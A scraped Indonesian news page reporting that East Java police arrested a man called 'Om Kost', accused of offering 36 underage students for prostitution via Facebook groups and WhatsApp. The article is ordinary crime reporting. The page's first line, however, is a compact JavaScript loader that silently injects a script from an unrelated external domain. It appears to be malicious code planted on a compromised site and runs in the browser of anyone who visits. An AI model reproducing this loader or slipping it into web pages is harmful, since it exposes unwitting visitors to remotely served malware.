(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Jawa Timur

Prostitusi Online, ‘Om Kost’ Surabaya Jual 36 Pelajar ke Pria Hidung Belang


KANALKALIMANTAN.COM, SURABAYA – Kepolisian Daerah (Polda) Jatim mengamankan seorang pria yang terlibat kasus prostitusi online berinisial OS. Ia menjual 36 pelajar untuk melayani pria hidung belang.

Ongkos jasa layanan yang diberikan ke-36 pelajar itu sebesar Rp 50 ribu untuk 5 jam. Untuk transaksinya secara online, lewat media sosial Facebook dan lainnya.

Hanya saja, OS, membantah memperdagangkan para pelajar itu. Ia hanya menyediakan kamar kosan dan mereka menjual dirinya sendiri.

“Mereka memang WP, saya hanya menyediakan kamar kos-kosan,” ujarnya, seperti dikutip dari beritajatim.com, jejaring media suara.com, Selasa (2/2/2021).

 

Sementara itu, Wakapolda Jatim Brigjen Pol Slamet Hadi Supraptoyo, menjelaskan modus operandi yang dilakukan tersangka OS.

Menurut Slamet, tersangka OS alias “Om Kost” itu memiliki rumah kost yang disewakan harian atau beberapa jam. Tersangka merekrut anak di bawah umur (pelajar SMP, MTs, SMA, SMK) untuk menjadi reseller yang bertugas menawarkan jasa sewa kamar plus plus Wanita Panggilan (WP).

Tersangka juga merekrut anak di bawah umur yang mau ditawarkan sebagai Wanita Panggilan (WP). Semisal pelajar SMP, MTs, SMA, dan SMK.

“Tersangka menyuruh para reseller untuk membuat akun Facebook palsu kemudian bergabung di grup Facebook ‘Info Kost & Kontrakan Area Mojokerto’ dan ‘Kost & Kontrakan Mojokerto, Ngoro, Pasuruan’,” ujar Slamet dalam jumpa pers, Senin (1/1/2021).

Ketika ada calon penyewa kamar yang meminta info di grup Facebook tersebut, reseller akan mengkomentari di kolom komentar dengan ‘inbox’ (Facebook Messenger). Jika telah ada kesepakatan, percakapan akan beralih di Whatsapp.

Selanjutnya reseller menghubungi tersangka sesuai permintaan tersangka dan tersangka akan mengirimi reseller nominasi WP beserta tarif dan nomor WhatsApp. Reseller komunikasi dengan WP atas perintah tersangka. (suara.com)

Reporter: suara.com
Editor : kk


Al Ghifari

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

13 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

17 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

20 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

1 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

1 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

2 hari ago

This website uses cookies.